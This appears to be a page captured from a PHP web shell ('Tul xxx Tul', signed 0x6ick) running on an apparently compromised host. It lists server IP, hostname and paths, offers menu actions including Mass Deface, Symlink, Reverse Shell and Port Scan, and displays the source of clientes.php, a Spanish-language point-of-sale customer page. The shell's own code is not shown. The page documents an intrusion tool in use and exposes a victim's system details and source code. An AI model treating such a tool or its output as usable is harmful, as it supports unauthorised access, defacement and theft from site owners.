Tul xxx Tul
User / IP
:
216.73.216.217
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
appleaccesorios
/
Viewing: clientes.php
<?php require_once('class/class.php'); $accesos = ['administradorG', 'administradorS', 'secretaria', 'cajero', 'vendedor']; validarAccesos($accesos) or die(); $tra = new Login(); if(isset($_POST["proceso"]) and $_POST["proceso"]=="save") { $reg = $tra->RegistrarClientes(); exit; } elseif(isset($_POST["proceso"]) and $_POST["proceso"]=="update") { $reg = $tra->ActualizarClientes(); exit; } elseif(isset($_POST["proceso"]) and $_POST["proceso"]=="cargacliente") { $reg = $tra->CargarClientes(); exit; } ?> <!DOCTYPE html> <html dir="ltr" lang="en"> <head> <meta http-equiv="content-type" content="text/html; charset=UTF-8"> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="description" content=""> <meta name="author" content="Ing. Ruben Chirinos"> <!-- Favicon icon --> <link rel="icon" type="image/png" sizes="16x16" href="assets/images/favicon.png"> <title></title> <!-- Menu CSS --> <link href="assets/plugins/bower_components/sidebar-nav/dist/sidebar-nav.min.css" rel="stylesheet"> <!-- toast CSS --> <link href="assets/plugins/bower_components/toast-master/css/jquery.toast.css" rel="stylesheet"> <!-- Datatables CSS --> <link rel="stylesheet" type="text/css" href="assets/plugins/datatables/datatables.css"> <link rel="stylesheet" type="text/css" href="assets/plugins/datatables/custom_dt_html5.css"> <link rel="stylesheet" type="text/css" href="assets/plugins/datatables/dt-global_style.css"> <!-- Sweet-Alert --> <link rel="stylesheet" href="assets/css/sweetalert.css"> <!-- animation CSS --> <link href="assets/css/animate.css" rel="stylesheet"> <!-- needed css --> <link href="assets/css/style.css" rel="stylesheet"> <!-- color CSS --> <link href="assets/css/default.css" id="theme" rel="stylesheet"> <!-- color alert --> <link rel="stylesheet" type="text/css" href="assets/css/alert.css"> <!-- checkbox --> <link rel="stylesheet" type="text/css" href="assets/css/forms/theme-checkbox-radio.css"> <link rel="stylesheet" type="text/css" href="assets/css/forms/switches.css"> <!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries --> <!-- WARNING: Respond.js doesn't work if you view the page via file:// --> <!--[if lt IE 9]> <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script> <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script> <![endif]--> </head> <body onLoad="muestraReloj();" class="fix-header"> <!-- ============================================================== --> <!-- Preloader - style you can find in spinners.css --> <!-- ============================================================== --> <div class="preloader"> <svg class="circular" viewBox="25 25 50 50"> <circle class="path" cx="50" cy="50" r="20" fill="none" stroke-width="2" stroke-miterlimit="10" /> </svg> </div> <!-- ============================================================== --> <!-- Main wrapper - style you can find in pages.scss --> <!-- ============================================================== --> <div id="main-wrapper" data-layout="vertical" data-navbarbg="skin6" data-sidebartype="full" data-boxed-layout="full" data-boxed-layout="boxed" data-header-position="fixed" data-sidebar-position="fixed" class="mini-sidebar"> <!--############################## MODAL PARA VER DETALLE DE CLIENTE ######################################--> <!-- sample modal content --> <div id="myModalDetalle" class="modal fade" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="modal-header bg-danger"> <h4 class="modal-title text-white" id="myModalLabel"><i class="fa fa-align-justify"></i> Detalle de Cliente</h4> <button type="button" class="close" data-dismiss="modal" aria-hidden="true"><img src="assets/images/close.png"/></button> </div> <div class="modal-body"> <div id="muestraclientemodal"></div> </div> <div class="modal-footer"> <button type="button" class="btn btn-dark" data-dismiss="modal"><span class="fa fa-times-circle"></span> Cerrar</button> </div> </div> <!-- /.modal-content --> </div> <!-- /.modal-dialog --> </div> <!-- /.modal --> <!--############################## MODAL PARA VER DETALLE DE CLIENTE ######################################--> <?php if ($_SESSION['acceso'] == "administradorG" || $_SESSION['acceso'] == "administradorS" || $_SESSION["acceso"]=="secretaria") { ?> <!--############################## MODAL PARA VER CARGA MASIVA DE CLIENTES ######################################--> <!-- sample modal content --> <div id="myModalCargaMasiva" class="modal fade" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="modal-header bg-danger"> <h4 class="modal-title text-white" id="myModalLabel"><i class="fa fa-align-justify"></i> Carga Masiva</h4> <button type="button" onClick="ModalCliente()" class="close" data-dismiss="modal" aria-hidden="true"><img src="assets/images/close.png"/></button> </div> <form class="form form-horizontal" name="cargaclientes" id="cargaclientes" action="#" enctype="multipart/form-data"> <div class="modal-body"> <div id="carga"> <!-- error will be shown here ! --> </div> <?php if ($_SESSION["acceso"]=="administradorG") { ?> <div class="row"> <div class="col-md-12"> <div class="form-group has-feedback"> <label class="control-label">Seleccione Sucursal: <span class="symbol required"></span></label> <i class="fa fa-bars form-control-feedback"></i> <select style="color:#000;font-weight:bold;" name="codsucursal" id="codsucursal" class="form-control" required="" aria-required="true"> <option value=""> -- SELECCIONE -- </option> <?php $sucursal = new Login(); $sucursal = $sucursal->ListarSucursales(); if($sucursal==""){ echo ""; } else { for($i=0;$i<sizeof($sucursal);$i++){ ?> <option value="<?php echo encrypt($sucursal[$i]['codsucursal']); ?>"><?php echo $sucursal[$i]['cuitsucursal'].": ".$sucursal[$i]['nomsucursal']; ?></option> <?php } } ?> </select> </div> </div> </div> <?php } else { ?> <input type="hidden" name="codsucursal" id="codsucursal" value="<?php echo encrypt($_SESSION['codsucursal']); ?>"> <?php } ?> <div class="row"> <div class="col-md-12"> <div class="form-group has-feedback"> <div class="fileinput fileinput-new" data-provides="fileinput"> <div class="form-group has-feedback"> <label class="control-label">Realice la búsqueda del Archivo (CSV): <span class="symbol required"></span></label> <div class="input-group"> <div class="form-control" data-trigger="fileinput"><i class="fa fa-file-archive-o fileinput-exists"></i> <span class="fileinput-filename"></span> </div> <input type="hidden" name="proceso" id="proceso" value="cargacliente"/> <span class="input-group-addon btn btn-success btn-file"> <span class="fileinput-new"><i class="fa fa-cloud-upload"></i> Selecciona Archivo</span> <span class="fileinput-exists"><i class="fa fa-file-archive-o"></i> Cambiar</span> <input type="file" class="btn btn-default" data-original-title="Suba su Archivo CSV" data-rel="tooltip" placeholder="Suba su Imagen" name="sel_file" id="sel_file" autocomplete="off" required="" aria-required="true"> </span> <a href="#" class="input-group-addon btn btn-dark fileinput-exists" data-dismiss="fileinput"><i class="fa fa-trash-o"></i> Quitar</a> </div><small><p>Para realizar la Carga masiva de Cientes el archivo debe de ser extensión (CSV Delimitado por Comas). Debe de llevar la cantidad de filas y columnas explicadas para la Carga exitosa de los registros.<br></small> <div id="divcliente"></div> </div> </div> </div> </div> </div> </div> <div class="modal-footer"> <button type="button" onClick="CargaDivClientes()" class="btn btn-info"><span class="fa fa-eye"></span> Ver Detalles</button> <button type="submit" name="btn-cargar" id="btn-cargar" class="btn btn-danger"><span class="fa fa-cloud-upload"></span> Cargar</button> <button type="button" onClick="ModalCliente()" class="btn btn-dark" data-dismiss="modal"><span class="fa fa-times-circle"></span> Cerrar</button> </div> </form> </div> <!-- /.modal-content --> </div> <!-- /.modal-dialog --> </div> <!-- /.modal --> <!--############################## MODAL PARA VER CARGA MASIVA DE CLIENTES ######################################--> <?php } ?> <!--############################## MODAL PARA GESTION DE CLIENTES ######################################--> <!-- sample modal content --> <div id="myModalCliente" class="modal fade" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true"> <div class="modal-dialog modal-lg"> <div class="modal-content"> <div class="modal-header bg-danger"> <h4 class="modal-title text-white" id="myModalLabel"><i class="fa fa-save"></i> Gestión de Cientes</h4> <button type="button" class="close" data-dismiss="modal" aria-hidden="true"><img src="assets/images/close.png"/></button> </div> <form class="form form-horizontal" method="post" action="#" name="savecliente" id="savecliente"> <div id="save"> <!-- error will be shown here ! --> </div> <div class="modal-body"> <?php if ($_SESSION["acceso"]=="administradorG") { ?> <div class="row"> <div class="col-md-12"> <div class="form-group has-feedback"> <label class="control-label">Seleccione Sucursal: <span class="symbol required"></span></label> <i class="fa fa-bars form-control-feedback"></i> <select style="color:#000;font-weight:bold;" name="codsucursal" id="codsucursal" class="form-control" required="" aria-required="true"> <option value=""> -- SELECCIONE -- </option> <?php $sucursal = new Login(); $sucursal = $sucursal->ListarSucursales(); if($sucursal==""){ echo ""; } else { for($i=0;$i<sizeof($sucursal);$i++){ ?> <option value="<?php echo encrypt($sucursal[$i]['codsucursal']); ?>"><?php echo $sucursal[$i]['cuitsucursal'].": ".$sucursal[$i]['nomsucursal']; ?></option> <?php } } ?> </select> </div> </div> </div> <?php } else { ?> <input type="hidden" name="codsucursal" id="codsucursal" value="<?php echo encrypt($_SESSION['codsucursal']); ?>"> <?php } ?> <div class="row"> <div class="col-md-4"> <div class="form-group has-feedback"> <label class="control-label">Tipo de Cliente: <span class="symbol required"></span></label> <i class="fa fa-bars form-control-feedback"></i> <select style="color:#000;font-weight:bold;" name="tipocliente" id="tipocliente" class="form-control" onChange="CargaTipoCliente(this.form.tipocliente.value);" required="" aria-required="true"> <option value=""> -- SELECCIONE -- </option> <option value="NATURAL">NATURAL</option> <option value="JURIDICO">JURIDICO</option> <option value="CONTRIBUYENTE EXONERADO">CONTRIBUYENTE EXONERADO</option> </select> </div> </div> <div class="col-md-4"> <div class="form-group has-feedback"> <label class="control-label">Tipo de Documento: </label> <i class="fa fa-bars form-control-feedback"></i> <select style="color:#000;font-weight:bold;" name="documcliente" id="documcliente" class='form-control' required="" aria-required="true"> <option value=""> -- SELECCIONE -- </option> <?php $doc = new Login(); $doc = $doc->ListarDocumentos(); if($doc==""){ echo ""; } else { for($i=0;$i<sizeof($doc);$i++){ ?> <option value="<?php echo $doc[$i]['coddocumento']; ?>"><?php echo $doc[$i]['documento']; ?></option> <?php } } ?> </select> </div> </div> <div class="col-md-4"> <div class="form-group has-feedback"> <label class="control-label">Nº de Documento: <span class="symbol required"></span></label> <input type="hidden" name="proceso" id="proceso" value="save"/> <input type="hidden" name="formulario" id="formulario" value="clientes"/> <input type="hidden" name="codcliente" id="codcliente"> <input type="text" class="form-control" name="dnicliente" id="dnicliente" onKeyUp="this.value=this.value.toUpperCase();" placeholder="Ingrese Nº de Documento" autocomplete="off" required="" aria-required="true"/> <i class="fa fa-bolt form-control-feedback"></i> </div> </div> </div> <div class="row"> <div class="col-md-4"> <div class="form-group has-feedback"> <label class="control-label">Nombre de Cliente: <span class="symbol required"></span></label> <input type="text" class="form-control" name="nomcliente" id="nomcliente" onKeyUp="this.value=this.value.toUpperCase();" placeholder="Ingrese Nombre de Cliente" disabled="" autocomplete="off" required="" aria-required="true"/> <i class="fa fa-pencil form-control-feedback"></i> </div> </div> <div class="col-md-4"> <div class="form-group has-feedback"> <label class="control-label">Razón Social: <span class="symbol required"></span></label> <input type="text" class="form-control" name="razoncliente" id="razoncliente" onKeyUp="this.value=this.value.toUpperCase();" placeholder="Ingrese Razón Social" disabled="" autocomplete="off" required="" aria-required="true"/> <i class="fa fa-pencil form-control-feedback"></i> </div> </div> <div class="col-md-4"> <div class="form-group has-feedback"> <label class="control-label">Giro de Cliente: </label> <input type="text" class="form-control" name="girocliente" id="girocliente" onKeyUp="this.value=this.value.toUpperCase();" placeholder="Ingrese Giro de Cliente" disabled="" autocomplete="off" required="" aria-required="true"/> <i class="fa fa-pencil form-control-feedback"></i> </div> </div> </div> <div class="row"> <div class="col-md-4"> <div class="form-group has-feedback"> <label class="control-label">Nº de Teléfono: </label> <input type="text" class="form-control phone-inputmask" name="tlfcliente" id="tlfcliente" onKeyUp="this.value=this.value.toUpperCase();" placeholder="Ingrese Nº de Teléfono" autocomplete="off" required="" aria-required="true"/> <i class="fa fa-phone form-control-feedback"></i> </div> </div> <div class="col-md-4"> <div class="form-group has-feedback"> <label class="control-label">Correo de Cliente: </label> <input type="text" class="form-control" name="emailcliente" id="emailcliente" onKeyUp="this.value=this.value.toUpperCase();" placeholder="Ingrese Correo Electronico" autocomplete="off" required="" aria-required="true"/> <i class="fa fa-envelope-o form-control-feedback"></i> </div> </div> <div class="col-md-4"> <div class="form-group has-feedback"> <label class="control-label">Provincia: </label> <i class="fa fa-bars form-control-feedback"></i> <select style="color:#000;font-weight:bold;" name="id_provincia" id="id_provincia" onChange="CargaDepartamentos(this.form.id_provincia.value);" class='form-control' required="" aria-required="true"> <option value=""> -- SELECCIONE -- </option> <?php $provincia = new Login(); $provincia = $provincia->ListarProvincias(); if($provincia==""){ echo ""; } else { for($i=0;$i<sizeof($provincia);$i++){ ?> <option value="<?php echo $provincia[$i]['id_provincia']; ?>"><?php echo $provincia[$i]['provincia']; ?></option> <?php } } ?> </select> </div> </div> </div> <div class="row"> <div class="col-md-4"> <div class="form-group has-feedback"> <label class="control-label">Departamento: </label> <i class="fa fa-bars form-control-feedback"></i> <select style="color:#000;font-weight:bold;" class="form-control" id="id_departamento" name="id_departamento" required="" aria-required="true"> <option value=""> -- SIN RESULTADOS -- </option> </select> </div> </div> <div class="col-md-4"> <div class="form-group has-feedback"> <label class="control-label">Dirección Domiciliaria: <span class="symbol required"></span></label> <input type="text" class="form-control" name="direccliente" id="direccliente" onKeyUp="this.value=this.value.toUpperCase();" placeholder="Ingrese Dirección Domiciliaria" autocomplete="off" required="" aria-required="true"/> <i class="fa fa-map-marker form-control-feedback"></i> </div> </div> <div class="col-md-4"> <div class="form-group has-feedback"> <label class="control-label">Tipo de Precio: </label> <i class="fa fa-bars form-control-feedback"></i> <select style="color:#000;font-weight:bold;" name="tipoprecio" id="tipoprecio" class="form-control" required="" aria-required="true"> <option value=""> -- SELECCIONE -- </option> <option value="precio1">CLIENTE MAYORISTA</option> <option value="precio2">CLIENTE MINORISTA</option> <option value="precio3">CLIENTE PÚBLICO</option> </select> </div> </div> </div> <div class="row"> <div class="col-md-4"> <div class="form-group has-feedback"> <label class="control-label">Limite de Crédito: <span class="symbol required"></span></label> <input style="color:#000;font-weight:bold;" type="text" class="form-control" name="limitecredito" id="limitecredito" onKeyUp="this.value=this.value.toUpperCase();" onKeyPress="EvaluateText('%f', this);" onBlur="this.value = NumberFormat(this.value, '2', '.', '')" placeholder="Ingrese Limite de Crédito" value="0.00" autocomplete="off" required="" aria-required="true"/> <i class="fa fa-usd form-control-feedback"></i> </div> </div> </div> </div> <div class="modal-footer"> <button type="submit" name="btn-cliente" id="btn-cliente" class="btn btn-danger"><span class="fa fa-save"></span> Guardar</button> <button class="btn btn-dark" type="button" onclick="ResetCliente()" data-dismiss="modal" aria-hidden="true"><span class="fa fa-trash-o"></span> Cerrar</button> </div> </form> </div> <!-- /.modal-content --> </div> <!-- /.modal-dialog --> </div> <!-- /.modal --> <!--############################## MODAL PARA GESTION DE CLIENTES ######################################--> <!-- INICIO DE MENU --> <?php include('menu.php'); ?> <!-- FIN DE MENU --> <!-- ============================================================== --> <!-- Page wrapper --> <!-- ============================================================== --> <div class="page-wrapper"> <!-- ============================================================== --> <!-- Bread crumb and right sidebar toggle --> <!-- ============================================================== --> <div class="page-breadcrumb border-bottom"> <div class="row"> <div class="col-lg-3 col-md-4 col-xs-12 align-self-center"> <h5 class="font-medium text-uppercase mb-0"><i class="fa fa-tasks"></i> Clientes</h5> </div> <div class="col-lg-9 col-md-8 col-xs-12 align-self-center"> <nav aria-label="breadcrumb" class="mt-2 float-md-right float-left"> <ol class="breadcrumb mb-0 justify-content-end p-0"> <li class="breadcrumb-item">Mantenimiento</li> <li class="breadcrumb-item active" aria-current="page">Clientes</li> </ol> </nav> </div> </div> </div> <!-- ============================================================== --> <!-- End Bread crumb and right sidebar toggle --> <!-- ============================================================== --> <!-- ============================================================== --> <!-- Container fluid --> <!-- ============================================================== --> <div class="page-content container-fluid"> <!-- ============================================================== --> <!-- Start Page Content --> <!-- ============================================================== --> <?php if ($_SESSION['acceso'] == "administradorG"){ ?> <!-- Row --> <div class="row"> <div class="col-lg-12"> <div class="card"> <div class="card-header bg-danger"> <h4 class="card-title text-white"><i class="fa fa-tasks"></i> Búsqueda de Clientes</h4> </div> <div class="form-body"> <div class="card-body"> <form class="form form-horizontal" method="post" action="#" name="clientesxsucursal" id="clientesxsucursal"> <div class="row"> <div class="col-md-12"> <div class="form-group has-feedback"> <label class="control-label">Seleccione Sucursal: <span class="symbol required"></span></label> <i class="fa fa-bars form-control-feedback"></i> <select style="color:#000;font-weight:bold;" name="codsucursal" id="codsucursal" class="form-control" required="" aria-required="true"> <option value=""> -- SELECCIONE -- </option> <?php $sucursal = new Login(); $sucursal = $sucursal->ListarSucursales(); if($sucursal==""){ echo ""; } else { for($i=0;$i<sizeof($sucursal);$i++){ ?> <option value="<?php echo encrypt($sucursal[$i]['codsucursal']); ?>"><?php echo $sucursal[$i]['cuitsucursal'].": ".$sucursal[$i]['nomsucursal']; ?></option> <?php } } ?> </select> </div> </div> </div> <div class="text-right"> <button type="button" id="BotonBusqueda" onClick="BuscaClientesxSucursal()" class="btn btn-dark"><span class="fa fa-search"></span> Realizar Búsqueda</button> </div> </form> </div> </div> </div> </div> </div> <!-- End Row --> <div id="muestra_detalles"></div> <?php } else { ?> <!-- Row --> <div class="row"> <div class="col-lg-12"> <div class="card"> <div class="card-header bg-danger"> <h4 class="card-title text-white"><i class="fa fa-tasks"></i> Clientes</h4> </div> <div class="form-body"> <div class="card-body"> <div class="row"> <div class="col-md-6"> <div class="btn-group m-b-20"> <?php if ($_SESSION['acceso'] == "administradorS" || $_SESSION["acceso"]=="secretaria") { ?> <button type="button" class="btn waves-effect waves-light btn-light" data-placement="left" title="Carga Masiva" data-original-title="" data-href="#" data-toggle="modal" data-target="#myModalCargaMasiva" data-backdrop="static" data-keyboard="false"><span class="fa fa-cloud-upload text-dark"></span> Cargar</button> <?php } ?> <button type="button" class="btn btn-success btn-light" data-placement="left" title="Nuevo Cliente" data-original-title="" data-href="#" data-toggle="modal" data-target="#myModalCliente" data-backdrop="static" data-keyboard="false"><i class="fa fa-plus"></i> Nuevo</button> <div class="btn-group"> <button type="button" class="btn btn-light dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"><i class="mdi mdi-file-multiple"></i> Reportes</button> <div class="dropdown-menu dropdown-menu-left" x-placement="bottom-end" style="position: absolute; will-change: transform; top: 0px; left: 0px; transform: translate3d(164px, 35px, 0px);"> <a class="dropdown-item" href="reportepdf?tipo=<?php echo encrypt("CLIENTES") ?>" target="_blank" rel="noopener noreferrer" data-toggle="tooltip" data-placement="bottom" title="Exportar Pdf"><span class="fa fa-file-pdf-o text-dark"></span> Pdf</a> <a class="dropdown-item" href="reportepdf?tipo=<?php echo encrypt("CLIENTESXCREDITOS") ?>" target="_blank" rel="noopener noreferrer" data-toggle="tooltip" data-placement="bottom" title="Exportar Pdf"><span class="fa fa-file-pdf-o text-dark"></span> Créditos Activos</a> <a class="dropdown-item" href="reporteexcel?documento=<?php echo encrypt("EXCEL") ?>&tipo=<?php echo encrypt("CLIENTES") ?>" data-toggle="tooltip" data-placement="bottom" title="Exportar Excel"><span class="fa fa-file-excel-o text-dark"></span> Excel</a> <a class="dropdown-item" href="reporteexcel?documento=<?php echo encrypt("WORD") ?>&tipo=<?php echo encrypt("CLIENTES") ?>" data-toggle="tooltip" data-placement="bottom" title="Exportar Word"><span class="fa fa-file-word-o text-dark"></span> Word</a> </div> </div> </div> </div> </div> <form class="form form-horizontal" method="post" action="#" name="busquedaclientes" id="busquedaclientes"> <div class="row"> <div class="col-md-2"> <div class="form-group has-feedback"> <label class="control-label">Tipo de Búsqueda: <span class="symbol required"></span></label> <div class="n-chk"> <label class="new-control new-checkbox new-checkbox-rounded checkbox-primary"> <input type="radio" class="new-control-input" name="tipobusqueda" id="tipobusqueda1" value="1" checked="checked"> <span class="new-control-indicator"></span>GENERAL </label> </div> <div class="n-chk"> <label class="new-control new-checkbox new-checkbox-rounded checkbox-primary"> <input type="radio" class="new-control-input" name="tipobusqueda" id="tipobusqueda2" value="2"> <span class="new-control-indicator"></span>POR CRITERIO </label> </div> </div> </div> <div class="col-md-10"> <div class="form-group has-feedback"> <label class="control-label">Búsqueda de Cliente: <span style="cursor: pointer;" class="mdi mdi-alert-circle text-danger" data-container="body" title="Notificación: Ingrese Criterio de Búsqueda por Nº de Documento, Nombres, Razón Social, Dirección Domiciliaria, Correo Electronico."></span></label> <input type="text" class="form-control" name="search_criterio" id="search_criterio" onKeyUp="this.value=this.value.toUpperCase();" placeholder="Ingrese Criterio para tu Búsqueda" autocomplete="off" autocomplete="off" disabled required="" aria-required="true"> <i class="fa fa-search form-control-feedback"></i> </div> </div> </div> </form><hr> <div class="table-responsive"> <table id="html5-tables" class="table table-striped table-bordered border display"> <thead> <tr role="row" class="warning-element" style="border-left: 2px solid #ff5050 !important; background: #ece8e9;"> <th>N°</th> <th>Tipo de Cliente</th> <th>Nº de Documento</th> <th>Nombres</th> <th>Nº de Teléfono</th> <th>Correo Electrónico</th> <th>Acciones</th> </tr> </thead> <tbody class="BusquedaRapida"> </tbody> </table></div> </div> </div> </div> </div> </div> <!-- End Row --> <?php } ?> <!-- ============================================================== --> <!-- End PAge Content --> <!-- ============================================================== --> <!-- ============================================================== --> <!-- Right sidebar --> <!-- ============================================================== --> <!-- .right-sidebar --> <!-- ============================================================== --> <!-- End Right sidebar --> <!-- ============================================================== --> </div> <!-- ============================================================== --> <!-- End Container fluid --> <!-- ============================================================== --> <!-- ============================================================== --> <!-- footer --> <!-- ============================================================== --> <footer class="footer text-center"> <i class="fa fa-copyright"></i> <span class="current-year"></span>. </footer> <!-- ============================================================== --> <!-- End footer --> <!-- ============================================================== --> </div> <!-- ============================================================== --> <!-- End Page wrapper --> <!-- ============================================================== --> </div> <!-- ============================================================== --> <!-- End Wrapper --> <!-- ============================================================== --> <!-- ============================================================== --> <!-- All Jquery --> <!-- ============================================================== --> <script src="assets/script/jquery.min.js"></script> <script src="assets/js/popper.min.js"></script> <script src="assets/js/bootstrap.js"></script> <!-- apps --> <script src="assets/js/app.min.js"></script> <script src="assets/js/app.init.horizontal-fullwidth.js"></script> <script src="assets/js/app-style-switcher.js"></script> <!-- slimscrollbar scrollbar JavaScript --> <script src="assets/js/perfect-scrollbar.js"></script> <script src="assets/js/sparkline.js"></script> <!--Wave Effects --> <script src="assets/js/waves.js"></script> <!-- Sweet-Alert --> <script src="assets/js/sweetalert-dev.js"></script> <!--Menu sidebar --> <script src="assets/js/sidebarmenu.js"></script> <!--Custom JavaScript --> <script src="assets/js/custom.js"></script> <!-- Custom file upload --> <script src="assets/plugins/fileupload/bootstrap-fileupload.min.js"></script> <!-- script jquery --> <script type="text/javascript" src="assets/script/titulos.js"></script> <script type="text/javascript" src="assets/script/jquery.mask.js"></script> <script type="text/javascript" src="assets/script/mask.js"></script> <script type="text/javascript" src="assets/script/script2.js"></script> <script type="text/javascript" src="assets/script/VentanaCentrada.js"></script> <script type="text/javascript" src="assets/script/validation.min.js"></script> <script type="text/javascript" src="assets/script/script.js"></script> <?php if ($_SESSION['acceso'] == "administradorG"){ ?> <script type="text/javascript"> $(document).ready(function(){ $(document).keypress(function(e) { var keycode = (e.keyCode ? e.keyCode : e.which); if (keycode == '13') { $("#BotonBusqueda").trigger("click"); return false; } }); }); </script> <?php } else { ?> <script src="assets/plugins/datatables/datatables.js"></script> <script> $(document).ready(function() { var dataTable = $('#html5-tables').DataTable({ "oLanguage": { "oPaginate": { "sPrevious": '<svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-arrow-left"><line x1="19" y1="12" x2="5" y2="12"></line><polyline points="12 19 5 12 12 5"></polyline></svg>', "sNext": '<svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-arrow-right"><line x1="5" y1="12" x2="19" y2="12"></line><polyline points="12 5 19 12 12 19"></polyline></svg>' }, /*"sInfo": "Mostrar Página _PAGE_ de _PAGES_",*/ "sInfo": "Mostrar _START_ - _END_ de _TOTAL_ Registros", "sInfoEmpty": "Mostrar 0 para 0 de 0 Registros", "sInfoFiltered": "(Resultados de _MAX_ Registros)", "sSearch": '<svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-search"><circle cx="11" cy="11" r="8"></circle><line x1="21" y1="21" x2="16.65" y2="16.65"></line></svg>', "sSearchPlaceholder": "Búsqueda...", "sLengthMenu": "Mostrar : _MENU_", "sZeroRecords": "NO SE ENCONTRARON REGISTROS ACTUALMENTE", }, "ajax": { "url": "obtener_json.php?CargaClientes=si", // URL base LIMPIA "type": "GET", "dataSrc": "data", "beforeSend": function() { $('.BusquedaRapida').html('<tr><td colspan="7"><center><i class="fa fa-spinner fa-spin fa-2x"></i> Cargando Clientes...</center></td></tr>'); }, "data": function (d) { d.tipobusqueda = $("input[name='tipobusqueda']:checked").val(); d.search_criterio = $("#search_criterio").val(); } }, "columns": [ { "data": 0, "visible": true }, // Columna oculta para el ordenamiento inicial { "data": "1" }, // Tipo Cliente { "data": "2" }, // Dni Cliente { "data": "3" }, // Nombre de Cliente { "data": "4" }, // Telefono de Cliente { "data": "5" }, // Email de Cliente { "data": "6" } // Acciones ], "order": [[ 0, "asc" ]], // Ordenar por la columna oculta del código inicialmente "stripeClasses": [], "lengthMenu": [10, 20, 50, 100, 300, 800, 1500], "pageLength": 10, drawCallback: function () { $('.dataTables_paginate > .pagination').addClass('pagination-style-13 pagination-bordered mb-5'); } }); // Evento change para los radio buttons de tipobusqueda $("input[name='tipobusqueda']").change(function() { var selectedValue = $(this).val(); // Limpiar y deshabilitar/habilitar inputs según tipobusqueda if (selectedValue === '1') { // Si se selecciona 'Mostrar Todos' $("#search_criterio").val('').prop("disabled", true); // Limpiar y deshabilitar // Recarga la tabla dataTable.ajax.reload(); // Recarga inmediatamente si se selecciona "Mostrar Todos" } else if (selectedValue === '2') { // Si se selecciona 'Por Criterio' $("#search_criterio").prop("disabled", false); // Habilitar } }); // Evento change para los campos de criterio (solo recarga si un tipo de búsqueda diferente a "Mostrar Todos" está seleccionado) $("#search_criterio").change(function() { if ($("input[name='tipobusqueda']:checked").val() !== '1') { dataTable.ajax.reload(); } }); }); </script> <?php } ?> <!-- script jquery --> <!-- Calendario --> <link rel="stylesheet" href="assets/calendario/jquery-ui.css"/> <script src="assets/calendario/jquery-ui.js"></script> <script src="assets/script/jscalendario.js"></script> <script src="assets/script/autocompleto.js"></script> <!-- Calendario --> <!-- jQuery --> <script src="assets/plugins/noty/packaged/jquery.noty.packaged.min.js"></script> <script src="assets/plugins/noty/themes/relax.js"></script> <!-- jQuery --> </body> </html>
Coded With 💗 by
0x6ick